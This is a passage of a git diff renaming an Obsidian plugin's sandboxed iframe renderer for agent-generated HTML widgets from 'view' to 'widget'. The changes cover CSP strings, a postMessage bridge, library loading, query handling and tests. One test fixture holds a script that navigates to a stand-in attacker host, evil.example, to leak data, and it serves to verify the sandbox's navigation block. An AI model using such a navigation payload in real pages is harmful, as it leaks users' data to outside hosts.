anything it navigates to is refused. * @@ -28,8 +28,8 @@ * * ## Bridge * - * Both directions are `postMessage` with a fixed, tagged shape (`s2bView: true`). - * Host → view: `data` (query results) and `theme` (CSS variables). View → host: `ready`, + * Both directions are `postMessage` with a fixed, tagged shape (`s2bWidget: true`). + * Host → widget: `data` (query results) and `theme` (CSS variables). Widget → host: `ready`, * `resize`, `open-note`, `hover-note`, `requery`; outer → host additionally `navigated`. * Every hop checks `event.source` against the one window it accepts from. Nothing else * crosses. @@ -38,37 +38,37 @@ * * Any element with `data-note="<path>"` is a note link: the runtime opens it on click and * reports its rectangle on hover, and the host lays an invisible proxy element over that - * rectangle and hands it to Obsidian's page preview — so a link inside a view previews + * rectangle and hands it to Obsidian's page preview — so a link inside a widget previews * exactly like one in a note. `s2b.openNote(path)` stays for programmatic opening. * * Known residual: hostname-based side channels that CSP does not govern (DNS prefetch - * hints). `x-dns-prefetch-control: off` is set in the inner document; a view is still + * hints). `x-dns-prefetch-control: off` is set in the inner document; a widget is still * model-authored code and should be treated with the same trust as the agent's tools. */ /** - * DOM event a rendered view dispatches (bubbling) on its block once its document - * reported `ready`; the frame also gets `data-s2b-view-ready`. The chat renderer uses - * both to hold a settling document off-screen until its views are showing. + * DOM event a rendered widget dispatches (bubbling) on its block once its document + * reported `ready`; the frame also gets `data-s2b-widget-ready`. The chat renderer uses + * both to hold a settling document off-screen until its widgets are showing. */ -export const VIEW_READY_EVENT = "s2b-view-ready"; +export const WIDGET_READY_EVENT = "s2b-widget-ready"; -/** Inner (view) document: only inline script/style and data/blob media; no network, no navigation targets. */ -export const VIEW_CSP = +/** Inner (widget) document: only inline script/style and data/blob media; no network, no navigation targets. */ +export const WIDGET_CSP = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:; font-src data:; media-src data: blob:; form-action 'none'; base-uri 'none'"; /** - * Space between the card border and the view's content, in px. Lives in the trusted outer - * document — a view's own `body { padding: 0 }` (which models write reflexively) cannot + * Space between the card border and the widget's content, in px. Lives in the trusted outer + * document — a widget's own `body { padding: 0 }` (which models write reflexively) cannot * remove it — so the host adds twice this to every content height it applies to the frame. */ -export const VIEW_FRAME_PADDING_PX = 12; +export const WIDGET_FRAME_PADDING_PX = 12; /** Outer (relay) document: inline script/style only, and no frame may be navigated anywhere. */ export const OUTER_FRAME_CSP = "default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; frame-src 'none'; form-action 'none'; base-uri 'none'"; -/** Obsidian CSS variables copied into the frame so a view tracks the user's theme. */ +/** Obsidian CSS variables copied into the frame so a widget tracks the user's theme. */ export const THEME_VARIABLES: readonly string[] = [ "--background-primary", "--background-primary-alt", @@ -143,19 +143,19 @@ export function collectThemeCss(doc: Document = document): string { } /** - * The script that runs first inside every view document. It installs the `s2b` global - * the view's own code talks to, listens for relayed host messages, and reports its + * The script that runs first inside every widget document. It installs the `s2b` global + * the widget's own code talks to, listens for relayed host messages, and reports its * content height so the host can size the frame. `ready` is sent from the window's * `load` event on purpose: the outer frame treats any load after `ready` as a * navigation, so `ready` must not precede the document's own load. Kept * dependency-free and free of `${}` so it can be a plain template literal. */ -export const VIEW_RUNTIME_SCRIPT = ` +export const WIDGET_RUNTIME_SCRIPT = ` (() => { const listeners = []; let data = null; const send = (message) => { - window.parent.postMessage(Object.assign({ s2bView: true }, message), "*"); + window.parent.postMessage(Object.assign({ s2bWidget: true }, message), "*"); }; window.s2b = { get data() { @@ -226,7 +226,7 @@ export const VIEW_RUNTIME_SCRIPT = ` window.addEventListener("message", (event) => { if (event.source !== window.parent) return; const message = event.data; - if (!message || message.s2bView !== true) return; + if (!message || message.s2bWidget !== true) return; if (message.type === "data") { data = message.data; for (const callback of listeners) { @@ -320,7 +320,7 @@ export const VIEW_RUNTIME_SCRIPT = ` `; /** - * Applied in auto-height mode: the base style (and views themselves, with `height: 100%` + * Applied in auto-height mode: the base style (and widgets themselves, with `height: 100%` * or `min-height: 100vh`) size html/body to the frame, which inside a frame equals its * current height and would keep it from ever shrinking to short content (and would make * percentage-sized children fill the frame instead of their content). With a declared @@ -340,10 +340,10 @@ export function escapeInlineScript(source: string): string { /** * The inner document: CSP, theme, base styles, runtime, the requested libraries, then - * the view's own body. Libraries are inlined whole (see `viewLibs.ts`); a sandboxed frame + * the widget's own body. Libraries are inlined whole (see `viewLibs.ts`); a sandboxed frame * has nowhere else to load them from. */ -export function buildViewSrcdoc( +export function buildWidgetSrcdoc( body: string, themeCss: string, libSources: readonly string[] = [], @@ -354,7 +354,7 @@ export function buildViewSrcdoc( <html> <head> <meta charset="utf-8"> -<meta http-equiv="Content-Security-Policy" content="${VIEW_CSP}"> +<meta http-equiv="Content-Security-Policy" content="${WIDGET_CSP}"> <meta http-equiv="x-dns-prefetch-control" content="off"> <style id="s2b-theme">${themeCss}</style> <style> @@ -372,7 +372,7 @@ body { a { color: var(--text-accent, inherit); cursor: pointer; } ${autoHeight ? AUTO_HEIGHT_CSS : ""} </style> -<script>${VIEW_RUNTIME_SCRIPT}</script> +<script>${WIDGET_RUNTIME_SCRIPT}</script> ${libScripts} </head> <body> @@ -385,7 +385,7 @@ ${body} * The outer document's script: creates the inner frame from the embedded `INNER` * srcdoc, relays bridge messages between the host and the inner frame, and retires * the inner frame on any load after `ready` (a navigation the CSP backstop did not - * catch). Free of `${}`; `INNER` is defined by {@link buildViewFrameSrcdoc}. + * catch). Free of `${}`; `INNER` is defined by {@link buildWidgetFrameSrcdoc}. */ export const OUTER_RELAY_SCRIPT = ` (() => { @@ -401,11 +401,11 @@ export const OUTER_RELAY_SCRIPT = ` if (!ready || retired) return; retired = true; frame.remove(); - toHost({ s2bView: true, type: "navigated" }); + toHost({ s2bWidget: true, type: "navigated" }); }); window.addEventListener("message", (event) => { const message = event.data; - if (retired || !message || message.s2bView !== true) return; + if (retired || !message || message.s2bWidget !== true) return; if (event.source === window.parent) { if (frame.contentWindow) frame.contentWindow.postMessage(message, "*"); } else if (event.source === frame.contentWindow) { @@ -423,8 +423,8 @@ function scriptStringLiteral(value: string): string { return JSON.stringify(value).replace(/</g, "\\u003c"); } -/** The full `srcdoc` for a view: the trusted outer relay frame wrapping the inner view document. */ -export function buildViewFrameSrcdoc( +/** The full `srcdoc` for a widget: the trusted outer relay frame wrapping the inner widget document. */ +export function buildWidgetFrameSrcdoc( body: string, themeCss: string, libSources: readonly string[] = [], @@ -437,12 +437,12 @@ export function buildViewFrameSrcdoc( <meta http-equiv="Content-Security-Policy" content="${OUTER_FRAME_CSP}"> <style> html, body { margin: 0; padding: 0; height: 100%; overflow: hidden; background: transparent; } -body { box-sizing: border-box; padding: ${VIEW_FRAME_PADDING_PX}px; } +body { box-sizing: border-box; padding: ${WIDGET_FRAME_PADDING_PX}px; } iframe { display: block; width: 100%; height: 100%; border: 0; } </style> </head> <body> -<script>const INNER = ${scriptStringLiteral(buildViewSrcdoc(body, themeCss, libSources, autoHeight))};${OUTER_RELAY_SCRIPT}</script> +<script>const INNER = ${scriptStringLiteral(buildWidgetSrcdoc(body, themeCss, libSources, autoHeight))};${OUTER_RELAY_SCRIPT}</script> </body> </html>`; } @@ -450,7 +450,7 @@ iframe { display: block; width: 100%; height: 100%; border: 0; } export interface HoverNoteMessage { type: "hover-note"; path: string; - /** The link's box in the view document's viewport coordinates. */ + /** The link's box in the widget document's viewport coordinates. */ rect: { x: number; y: number; width: number; height: number }; ctrlKey: boolean; metaKey: boolean; @@ -478,7 +478,7 @@ const isFiniteNumber = (value: unknown): value is number => typeof value === "nu export function parseFrameMessage(data: unknown): FrameToHostMessage | null { if (typeof data !== "object" || data === null) return null; const message = data as Record<string, unknown>; - if (message.s2bView !== true) return null; + if (message.s2bWidget !== true) return null; switch (message.type) { case "ready": case "requery": diff --git a/src/genview/viewLibs.ts b/src/widget/widgetLibs.ts similarity index 70% rename from src/genview/viewLibs.ts rename to src/widget/widgetLibs.ts index d6915da3..45b0d6c9 100644 --- a/src/genview/viewLibs.ts +++ b/src/widget/widgetLibs.ts @@ -1,20 +1,20 @@ /** - * Browser libraries a view can ask for with `libs:` in its frontmatter. + * Browser libraries a widget can ask for with `libs:` in its frontmatter. * - * A view frame has no network and an opaque origin, so a library can reach it only one + * A widget frame has no network and an opaque origin, so a library can reach it only one * way: inlined whole as a `<script>` in the frame's document. That makes every entry - * here a per-view cost (the source is parsed once per frame that requests it) and a + * here a per-widget cost (the source is parsed once per frame that requests it) and a * bundle cost (the source ships inside main.js as a string), which is why the set is * small, opt-in, and each entry is a single self-contained UMD/IIFE build. * * Adding one: vendor a browser build that defines a global, import it `?raw`, add an - * entry, and document the global and its scope in the `views` skill. + * entry, and document the global and its scope in the `widgets` skill. */ import plotlySource from "plotly.js-gl3d-dist-min/plotly-gl3d.min.js?raw"; -export interface ViewLib { - /** The id a view writes under `libs:`. */ +export interface WidgetLib { + /** The id a widget writes under `libs:`. */ id: string; /** Shown in notices. */ displayName: string; @@ -29,7 +29,7 @@ export interface ViewLib { * trace (scatter3d, surface, mesh3d, cone, streamtube, isosurface, volume). Chosen over the * full bundle because it is less than half its size and covers both study plots and 3D. */ -export const VIEW_LIBS: Readonly<Record<string, ViewLib>> = { +export const WIDGET_LIBS: Readonly<Record<string, WidgetLib>> = { plotly: { id: "plotly", displayName: "Plotly", @@ -39,14 +39,14 @@ export const VIEW_LIBS: Readonly<Record<string, ViewLib>> = { }; /** Resolve requested ids (deduplicated, in order) to sources; unknown ids are reported, not dropped silently. */ -export function resolveViewLibs(ids: readonly string[]): { sources: string[]; unknown: string[] } { +export function resolveWidgetLibs(ids: readonly string[]): { sources: string[]; unknown: string[] } { const sources: string[] = []; const unknown: string[] = []; const seen = new Set<string>(); for (const id of ids) { if (seen.has(id)) continue; seen.add(id); - const lib = VIEW_LIBS[id]; + const lib = WIDGET_LIBS[id]; if (lib) sources.push(lib.source); else unknown.push(id); } diff --git a/src/genview/viewQueries.ts b/src/widget/widgetQueries.ts similarity index 92% rename from src/genview/viewQueries.ts rename to src/widget/widgetQueries.ts index fae5db94..b69173f4 100644 --- a/src/genview/viewQueries.ts +++ b/src/widget/widgetQueries.ts @@ -1,5 +1,5 @@ /** - * Runs a view's declared queries on the host and turns the results into plain JSON + * Runs a widget's declared queries on the host and turns the results into plain JSON * the frame can consume. The frame never sees the vault, Dataview, or `app`: it gets * exactly what these queries return, as structured-clone-safe data. * @@ -11,21 +11,21 @@ import type { App } from "obsidian"; import { resolvePluginApi } from "../agent/integrations/pluginIntegrations"; -export type ViewQueryResult = +export type WidgetQueryResult = | { type: "table"; headers: string[]; rows: unknown[][] } | { type: "list"; items: unknown[] } | { type: "task"; items: unknown[] } | { type: "calendar"; items: unknown[] } | { error: string }; -export type ViewQueryResults = Record<string, ViewQueryResult>; +export type WidgetQueryResults = Record<string, WidgetQueryResult>; interface DataviewQueryApi { query(source: string, originFile?: string): Promise<{ successful: boolean; value?: unknown; error?: string }>; } export const DATAVIEW_PLUGIN_ID = "dataview"; -export const DATAVIEW_MISSING_ERROR = "The Dataview plugin is not enabled, so this view's queries cannot run."; +export const DATAVIEW_MISSING_ERROR = "The Dataview plugin is not enabled, so this widget's queries cannot run."; const MAX_DEPTH = 6; const MAX_ARRAY_ITEMS = 1000; @@ -33,13 +33,13 @@ const MAX_OBJECT_KEYS = 100; const MAX_STRING_LENGTH = 10_000; /** Run every query in `queries`; a failed query yields `{ error }` rather than failing the set. */ -export async function runViewQueries( +export async function runWidgetQueries( app: App, queries: Record<string, string>, sourcePath: string, -): Promise<ViewQueryResults> { +): Promise<WidgetQueryResults> { const names = Object.keys(queries); - const results: ViewQueryResults = {}; + const results: WidgetQueryResults = {}; if (names.length === 0) return results; const api = resolvePluginApi(app, DATAVIEW_PLUGIN_ID) as DataviewQueryApi | null; @@ -61,7 +61,7 @@ export async function runViewQueries( return results; } -function toViewResult(value: unknown): ViewQueryResult { +function toViewResult(value: unknown): WidgetQueryResult { if (typeof value !== "object" || value === null) return { error: "Query returned no result." }; const result = value as { type?: unknown; headers?: unknown; values?: unknown }; switch (result.type) { diff --git a/src/genview/viewSpec.ts b/src/widget/widgetSpec.ts similarity index 89% rename from src/genview/viewSpec.ts rename to src/widget/widgetSpec.ts index 5b0aece5..0ce745da 100644 --- a/src/genview/viewSpec.ts +++ b/src/widget/widgetSpec.ts @@ -1,11 +1,11 @@ /** - * The `s2b-view` fence: an agent-generated view. + * The `s2b-widget` fence: an agent-generated widget. * * The fence body is an HTML document fragment (markup, `<style>`, `<script>`) that is * rendered inside a sandboxed iframe (see `viewFrame.ts`). An optional leading * frontmatter block declares what the host should do for it: * - * ```s2b-view + * ```s2b-widget * --- * title: Notes per tag * height: 320 @@ -24,9 +24,9 @@ * list, or a `- item` block — which is all a model needs. */ -export const VIEW_BLOCK_LANGUAGE = "s2b-view"; +export const WIDGET_BLOCK_LANGUAGE = "s2b-widget"; -export interface ViewSpec { +export interface WidgetSpec { /** Shown in the chat toolbar and used as the note name when saved. */ title?: string; /** Fixed frame height in px. When absent the frame follows its content height. */ @@ -45,7 +45,7 @@ const NESTED_KEY = /^\s+([A-Za-z_][\w-]*):\s*(.*)$/; const BLOCK_SCALAR_INDICATORS = new Set(["|", "|-", "|+", ">", ">-", ">+"]); /** Parse a fence body into its spec. Never throws: malformed frontmatter is treated as body. */ -export function parseViewSpec(source: string): ViewSpec { +export function parseWidgetSpec(source: string): WidgetSpec { const lines = source.replace(/\r\n?/g, "\n").split("\n"); let start = 0; while (start < lines.length && lines[start].trim() === "") start++; @@ -69,8 +69,8 @@ export function parseViewSpec(source: string): ViewSpec { return spec; } -function parseFrontmatter(lines: string[]): ViewSpec { - const spec: ViewSpec = { queries: {}, libs: [], body: "" }; +function parseFrontmatter(lines: string[]): WidgetSpec { + const spec: WidgetSpec = { queries: {}, libs: [], body: "" }; let i = 0; while (i < lines.length) { const line = lines[i]; @@ -193,17 +193,17 @@ function unquote(value: string): string { * Wrap a fence body back into a markdown fence. The fence is made longer than any * backtick run inside the body so a ``` in a `<script>` can't close it early. */ -export function wrapViewFence(source: string): string { +export function wrapWidgetFence(source: string): string { const longest = Math.max(2, ...[...source.matchAll(/`+/g)].map((m) => m[0].length)); const fence = "`".repeat(longest + 1); - return `${fence}${VIEW_BLOCK_LANGUAGE}\n${source.trim()}\n${fence}\n`; + return `${fence}${WIDGET_BLOCK_LANGUAGE}\n${source.trim()}\n${fence}\n`; } -/** A vault-safe note basename for a view, from its title. */ -export function viewFileBasename(title: string | undefined): string { +/** A vault-safe note basename for a widget, from its title. */ +export function widgetFileBasename(title: string | undefined): string { const cleaned = (title ?? "") .replace(/[\\/:*?"<>|#^[\]]/g, " ") .replace(/\s+/g, " ") .trim(); - return cleaned || "View"; + return cleaned || "Widget"; } diff --git a/test/agent/editNote.test.ts b/test/agent/editNote.test.ts index 170fb4cd..a7e3084d 100644 --- a/test/agent/editNote.test.ts +++ b/test/agent/editNote.test.ts @@ -220,7 +220,7 @@ describe("manageNotes tool (update operations)", () => { THREAD_CONFIG, ); - expect(result).toContain("Only notes (.md) and views (.view)"); + expect(result).toContain("Only notes (.md) and views (.widget)"); expect(mockAddChanges).not.toHaveBeenCalled(); }); diff --git a/test/skills/bundledSkillsSplit.test.ts b/test/skills/bundledSkillsSplit.test.ts index b85849ff..c012bc82 100644 --- a/test/skills/bundledSkillsSplit.test.ts +++ b/test/skills/bundledSkillsSplit.test.ts @@ -9,7 +9,7 @@ import { } from "../../src/skills/defaults"; /** The 4 core skills always seeded at startup (from src/skills/defaults/). */ -const CORE_SKILL_NAMES = ["explore-vault", "manage-notes", "manage-skills", "views", "web"]; +const CORE_SKILL_NAMES = ["explore-vault", "manage-notes", "manage-skills", "web", "widgets"]; /** The 6 integration skills (from src/skills/integrations/), seeded conditionally. */ const CORE_PLUGIN_INTEGRATIONS: Record<string, string> = { canvas: "canvas", bases: "bases" }; diff --git a/test/genview/viewFences.test.ts b/test/widget/widgetFences.test.ts similarity index 53% rename from test/genview/viewFences.test.ts rename to test/widget/widgetFences.test.ts index 395bc44e..895b156b 100644 --- a/test/genview/viewFences.test.ts +++ b/test/widget/widgetFences.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it } from "vitest"; -import { findViewFences, stripViewFences } from "../../src/genview/viewFences"; +import { findWidgetFences, stripWidgetFences } from "../../src/widget/widgetFences"; const NOTE = [ "# Dashboard", "", - "```s2b-view", + "```s2b-widget", "---", "title: First", "---", @@ -14,27 +14,27 @@ const NOTE = [ "Some prose with ```inline``` backticks.", "", "````markdown", - "```s2b-view", - "<p>this is an example inside a longer fence, not a view</p>", + "```s2b-widget", + "<p>this is an example inside a longer fence, not a widget</p>", "```", "````", "", - "~~~s2b-view", + "~~~s2b-widget", "<p>two</p>", "~~~", "", "```js", - "console.log('```s2b-view is just text here');", + "console.log('```s2b-widget is just text here');", "```", "", - " ```s2b-view", + " ```s2b-widget", " <p>three, indented</p>", " ```", ].join("\n"); -describe("findViewFences", () => { - it("finds top-level view fences of either marker and skips nested and foreign ones", () => { - const fences = findViewFences(NOTE); +describe("findWidgetFences", () => { + it("finds top-level widget fences of either marker and skips nested and foreign ones", () => { + const fences = findWidgetFences(NOTE); expect(fences.map((f) => f.index)).toEqual([0, 1, 2]); expect(fences[0].spec.title).toBe("First"); expect(fences[0].source).toBe("---\ntitle: First\n---\n<p>one</p>"); @@ -45,29 +45,29 @@ describe("findViewFences", () => { }); it("ignores an unclosed fence", () => { - expect(findViewFences("```s2b-view\n<p>never closed</p>")).toEqual([]); + expect(findWidgetFences("```s2b-widget\n<p>never closed</p>")).toEqual([]); }); - it("returns nothing for notes without views", () => { - expect(findViewFences("# Just a note\n\n```js\nlet x = 1;\n```")).toEqual([]); + it("returns nothing for notes without widgets", () => { + expect(findWidgetFences("# Just a note\n\n```js\nlet x = 1;\n```")).toEqual([]); }); }); -describe("stripViewFences", () => { +describe("stripWidgetFences", () => { it("replaces each fence with a titled marker and leaves the rest untouched", () => { - const stripped = stripViewFences(NOTE); + const stripped = stripWidgetFences(NOTE); expect(stripped).not.toContain("<p>one</p>"); expect(stripped).not.toContain("<p>two</p>"); - expect(stripped).toContain("(view: First)"); - expect(stripped).toContain("(view)"); + expect(stripped).toContain("(widget: First)"); + expect(stripped).toContain("(widget)"); // Content that only looked like a fence (nested, or inside a js block) stays. expect(stripped).toContain("this is an example inside a longer fence"); - expect(stripped).toContain("console.log('```s2b-view is just text here');"); - expect(stripped.startsWith("# Dashboard\n\n(view: First)\n\nSome prose")).toBe(true); + expect(stripped).toContain("console.log('```s2b-widget is just text here');"); + expect(stripped.startsWith("# Dashboard\n\n(widget: First)\n\nSome prose")).toBe(true); }); it("returns the input unchanged when there is nothing to strip", () => { const note = "# Just a note\n\n```js\nlet x = 1;\n```"; - expect(stripViewFences(note)).toBe(note); + expect(stripWidgetFences(note)).toBe(note); }); }); diff --git a/test/genview/viewFrame.test.ts b/test/widget/widgetFrame.test.ts similarity index 63% rename from test/genview/viewFrame.test.ts rename to test/widget/widgetFrame.test.ts index 932def5d..e3c9a644 100644 --- a/test/genview/viewFrame.test.ts +++ b/test/widget/widgetFrame.test.ts @@ -2,16 +2,16 @@ import { describe, expect, it } from "vitest"; import { AUTO_HEIGHT_CSS, buildThemeCss, - buildViewFrameSrcdoc, - buildViewSrcdoc, + buildWidgetFrameSrcdoc, + buildWidgetSrcdoc, escapeInlineScript, OUTER_FRAME_CSP, OUTER_RELAY_SCRIPT, parseFrameMessage, - VIEW_CSP, - VIEW_FRAME_PADDING_PX, - VIEW_RUNTIME_SCRIPT, -} from "../../src/genview/viewFrame"; + WIDGET_CSP, + WIDGET_FRAME_PADDING_PX, + WIDGET_RUNTIME_SCRIPT, +} from "../../src/widget/widgetFrame"; describe("buildThemeCss", () => { it("copies only variables that resolve and records the colour scheme", () => { @@ -24,69 +24,69 @@ describe("buildThemeCss", () => { }); }); -describe("buildViewSrcdoc (inner document)", () => { +describe("buildWidgetSrcdoc (inner document)", () => { it("locks the document down with a CSP and installs the runtime before the body", () => { - const doc = buildViewSrcdoc("<p id=x>hi</p>", ":root { --a: b; }"); - expect(doc).toContain(`<meta http-equiv="Content-Security-Policy" content="${VIEW_CSP}">`); + const doc = buildWidgetSrcdoc("<p id=x>hi</p>", ":root { --a: b; }"); + expect(doc).toContain(`<meta http-equiv="Content-Security-Policy" content="${WIDGET_CSP}">`); expect(doc).toContain('<meta http-equiv="x-dns-prefetch-control" content="off">'); expect(doc).toContain('<style id="s2b-theme">:root { --a: b; }</style>'); - expect(doc.indexOf(VIEW_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); + expect(doc.indexOf(WIDGET_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); }); it("blocks every network source, form submission and base override", () => { - expect(VIEW_CSP).toContain("default-src 'none'"); - expect(VIEW_CSP).toContain("form-action 'none'"); - expect(VIEW_CSP).toContain("base-uri 'none'"); - expect(VIEW_CSP).not.toMatch(/https?:/); - expect(VIEW_CSP).not.toContain("connect-src"); + expect(WIDGET_CSP).toContain("default-src 'none'"); + expect(WIDGET_CSP).toContain("form-action 'none'"); + expect(WIDGET_CSP).toContain("base-uri 'none'"); + expect(WIDGET_CSP).not.toMatch(/https?:/); + expect(WIDGET_CSP).not.toContain("connect-src"); }); it("is valid JavaScript exactly as the frame receives it", () => { // The runtime is a template literal, so an escape the formatter rewrites can turn // into something else entirely (`\\/` → `//` once ended a regex and killed every // handler after it). Parsing catches that; nothing is executed. - expect(() => new Function(VIEW_RUNTIME_SCRIPT)).not.toThrow(); + expect(() => new Function(WIDGET_RUNTIME_SCRIPT)).not.toThrow(); expect(() => new Function(`const INNER = "";${OUTER_RELAY_SCRIPT}`)).not.toThrow(); }); it("keeps the runtime free of template placeholders and script terminators", () => { - expect(VIEW_RUNTIME_SCRIPT).not.toContain("${"); - expect(VIEW_RUNTIME_SCRIPT).not.toContain("</script"); + expect(WIDGET_RUNTIME_SCRIPT).not.toContain("${"); + expect(WIDGET_RUNTIME_SCRIPT).not.toContain("</script"); }); it("forces html/body to content height only in auto-height mode", () => { - expect(buildViewSrcdoc("x", "")).toContain(AUTO_HEIGHT_CSS); - expect(buildViewSrcdoc("x", "", [], false)).not.toContain(AUTO_HEIGHT_CSS); - expect(buildViewFrameSrcdoc("x", "", [], false)).not.toContain("min-height: 0 !important"); + expect(buildWidgetSrcdoc("x", "")).toContain(AUTO_HEIGHT_CSS); + expect(buildWidgetSrcdoc("x", "", [], false)).not.toContain(AUTO_HEIGHT_CSS); + expect(buildWidgetFrameSrcdoc("x", "", [], false)).not.toContain("min-height: 0 !important"); }); it("inlines requested libraries between the runtime and the body, escaped for inline script", () => { const lib = 'window.LIB = 1; const s = "</script><img src=x>"; /* </SCRIPT */'; - const doc = buildViewSrcdoc("<p id=x>hi</p>", "", [lib]); + const doc = buildWidgetSrcdoc("<p id=x>hi</p>", "", [lib]); expect(doc).toContain(`<script>${escapeInlineScript(lib)}</script>`); - expect(doc.indexOf(VIEW_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("window.LIB = 1")); + expect(doc.indexOf(WIDGET_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("window.LIB = 1")); expect(doc.indexOf("window.LIB = 1")).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); // Every </script> in the document must close a script we opened: runtime + lib. expect(doc.split("</script>")).toHaveLength(3); - expect(buildViewSrcdoc("x", "")).not.toContain("<script></script>"); + expect(buildWidgetSrcdoc("x", "")).not.toContain("<script></script>"); }); it("reports ready from the load event, after the document itself has loaded", () => { - const loadHandler = VIEW_RUNTIME_SCRIPT.indexOf('window.addEventListener("load"'); - const ready = VIEW_RUNTIME_SCRIPT.indexOf('send({ type: "ready" })'); + const loadHandler = WIDGET_RUNTIME_SCRIPT.indexOf('window.addEventListener("load"'); + const ready = WIDGET_RUNTIME_SCRIPT.indexOf('send({ type: "ready" })'); expect(loadHandler).toBeGreaterThan(-1); expect(ready).toBeGreaterThan(loadHandler); }); }); -describe("buildViewFrameSrcdoc (outer relay document)", () => { +describe("buildWidgetFrameSrcdoc (outer relay document)", () => { const body = '<script>location.href = "https://evil.example/?d=1";</script><p>x</p>'; - const outer = buildViewFrameSrcdoc(body, ":root { --a: b; }"); + const outer = buildWidgetFrameSrcdoc(body, ":root { --a: b; }"); - it("pads the view from the card edge in the trusted document", () => { - expect(outer).toContain(`padding: ${VIEW_FRAME_PADDING_PX}px`); + it("pads the widget from the card edge in the trusted document", () => { + expect(outer).toContain(`padding: ${WIDGET_FRAME_PADDING_PX}px`); // The inner body carries no padding of its own (only the margin/padding reset). - expect(buildViewSrcdoc("x", "")).not.toContain("padding: var("); + expect(buildWidgetSrcdoc("x", "")).not.toContain("padding: var("); }); it("forbids the inner frame from navigating anywhere", () => { @@ -104,11 +104,11 @@ describe("buildViewFrameSrcdoc (outer relay document)", () => { }); it("round-trips the inner document, libraries included, through the literal", () => { - const withLib = buildViewFrameSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]); + const withLib = buildWidgetFrameSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]); const match = /const INNER = ("(?:[^"\\]|\\.)*");/.exec(withLib); expect(match).not.toBeNull(); expect(JSON.parse(match?.[1] ?? '""')).toBe( - buildViewSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]), + buildWidgetSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]), ); expect(withLib.split("</script>")).toHaveLength(2); }); @@ -121,28 +121,28 @@ describe("buildViewFrameSrcdoc (outer relay document)", () => { describe("parseFrameMessage", () => { it("accepts the frame messages", () => { - expect(parseFrameMessage({ s2bView: true, type: "ready" })).toEqual({ type: "ready" }); - expect(parseFrameMessage({ s2bView: true, type: "requery" })).toEqual({ type: "requery" }); - expect(parseFrameMessage({ s2bView: true, type: "navigated" })).toEqual({ type: "navigated" }); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: 240.5, extent: 180 })).toEqual({ + expect(parseFrameMessage({ s2bWidget: true, type: "ready" })).toEqual({ type: "ready" }); + expect(parseFrameMessage({ s2bWidget: true, type: "requery" })).toEqual({ type: "requery" }); + expect(parseFrameMessage({ s2bWidget: true, type: "navigated" })).toEqual({ type: "navigated" }); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: 240.5, extent: 180 })).toEqual({ type: "resize", height: 240.5, extent: 180, }); // A missing or malformed extent falls back to the height rather than dropping the message. - expect(parseFrameMessage({ s2bView: true, type: "resize", height: 240 })).toEqual({ + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: 240 })).toEqual({ type: "resize", height: 240, extent: 240, }); - expect(parseFrameMessage({ s2bView: true, type: "open-note", path: "a/b.md" })).toEqual({ + expect(parseFrameMessage({ s2bWidget: true, type: "open-note", path: "a/b.md" })).toEqual({ type: "open-note", path: "a/b.md", modifiers: { ctrlKey: false, metaKey: false, altKey: false, shiftKey: false }, }); expect( parseFrameMessage({ - s2bView: true, + s2bWidget: true, type: "open-note", path: "a/b.md", modifiers: { metaKey: true, altKey: "yes" }, @@ -154,7 +154,7 @@ describe("parseFrameMessage", () => { }); expect( parseFrameMessage({ - s2bView: true, + s2bWidget: true, type: "hover-note", path: "a/b.md", rect: { x: 1, y: 2.5, width: 30, height: 12 }, @@ -172,16 +172,16 @@ describe("parseFrameMessage", () => { it("drops hover messages with a missing path or a malformed box", () => { expect( parseFrameMessage({ - s2bView: true, + s2bWidget: true, type: "hover-note", path: "", rect: { x: 0, y: 0, width: 1, height: 1 }, }), ).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "hover-note", path: "a.md" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "hover-note", path: "a.md" })).toBeNull(); expect( parseFrameMessage({ - s2bView: true, + s2bWidget: true, type: "hover-note", path: "a.md", rect: { x: "0", y: 0, width: 1, height: 1 }, @@ -191,10 +191,10 @@ describe("parseFrameMessage", () => { it("drops untagged, unknown or malformed messages", () => { expect(parseFrameMessage({ type: "ready" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "eval", code: "x" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: "big" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: Number.NaN })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "open-note", path: "" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "eval", code: "x" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: "big" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: Number.NaN })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "open-note", path: "" })).toBeNull(); expect(parseFrameMessage("ready")).toBeNull(); expect(parseFrameMessage(null)).toBeNull(); }); diff --git a/test/genview/viewLibs.test.ts b/test/widget/widgetLibs.test.ts similarity index 68% rename from test/genview/viewLibs.test.ts rename to test/widget/widgetLibs.test.ts index 4e3038b4..b5206019 100644 --- a/test/genview/viewLibs.test.ts +++ b/test/widget/widgetLibs.test.ts @@ -1,12 +1,12 @@ import { describe, expect, it } from "vitest"; -import { patchVendoredLib, VENDORED_LIB_FORBIDDEN } from "../../src/genview/vendoredLibPatches"; -import { resolveViewLibs, VIEW_LIBS } from "../../src/genview/viewLibs"; +import { patchVendoredLib, VENDORED_LIB_FORBIDDEN } from "../../src/widget/vendoredLibPatches"; +import { resolveWidgetLibs, WIDGET_LIBS } from "../../src/widget/widgetLibs"; const PLOTLY_PATH = "node_modules/plotly.js-gl3d-dist-min/plotly-gl3d.min.js"; -describe("view libraries", () => { +describe("widget 